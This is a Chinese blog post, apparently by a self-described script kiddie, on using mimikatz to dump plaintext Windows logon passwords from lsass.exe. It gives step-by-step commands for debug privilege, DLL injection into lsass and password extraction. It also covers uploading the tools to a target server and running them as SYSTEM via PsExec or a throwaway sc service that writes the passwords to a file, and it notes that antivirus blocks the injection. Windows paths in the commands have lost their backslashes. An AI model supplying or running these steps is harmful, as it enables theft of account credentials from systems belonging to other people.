mimikat是一个法国人写的轻量级调试器,网上流传的一直很邪乎,有人称之为神器。该工具准确的说是具有一系统的功能的。其中最让我们这些脚本小子最看中的莫过于能直接从 lsass.exe 里获取windows处于active状态账号明文密码。

下面我是以自己的xp系统为例,做的抓取的实验,具体步骤如下:

1//开始运行
2mimikatz
3//提升权限
4privilege::debug
5//注入dll
6inject::process lsass.exe sekurlsa.dll
7//抓取密码
8@getLogonPasswords

mimikat

其中红色划掉的部分就是取得的明文密码。

其目前支持主流的所有windows系统,其支持的系统如下:

Windows XP Windows Server 2003 Windows Server 2008 Windows Vista Windows 7 Windows 7 SP1

当然以上系统64位的也不在话下,具体原理是因为lsass进程中,明文密码经过加密算法的密文可逆的。在远程终端中抓取密码的方法也大同小异。

首先提取几个文件,只抓取密码的话,只需要这几个文件:

1mimikatz_trunktoolsPsExec.exe
2mimikatz_trunkWin32mimikatz.exe
3mimikatz_trunkWin32sekurlsa.dll

打包后上传至目标服务器,然后解压释放,注意路径中绝对不能有中文(可以有空格)!否则加载DLL的时候会报错:找不到文件。

破解方法使用下面两种任一种都可以:

 1//最简单实用的方法,使用 PsExec.exe 启动。
 2//在系统帐户中运行 cmd.exe,或者直接运行 mimikatz.exe
 3psexec -s cmd.exe
 4//启动 mimikatz.exe
 5C:mimikatz_trunkWin32mimikatz.exe
 6//提升权限
 7privilege::debug
 8//注入dll,要用绝对路径!并且路径中绝对不能有中文(可以有空格)!
 9inject::process lsass.exe "C:mimikatz_trunkWin32sekurlsa.dll"
10//抓取密码
11@getLogonPasswords
12//退出,不要用 ctrl + c,会导致 mimikatz.exe CPU 占用达到 100%,死循环。
13exit

第二种方法,服务启动法:

1sc create getpassword binpath= "cmd.exe /c c:xxxmimikatz.exe < command.txt > password.txt"
2sc start getpassword
3sc delete getpassword

不过,这货虽然强大,但在开启有主动防御的杀毒软件面前也无能为力。比如说最常见的360。因为360会保护进程lsass进程。所以上面的dll注入会拒绝。

该工具包的下载地址:http://blog.gentilkiwi.com/mimikatz

另外的一些用法,作者的博客上也有介绍。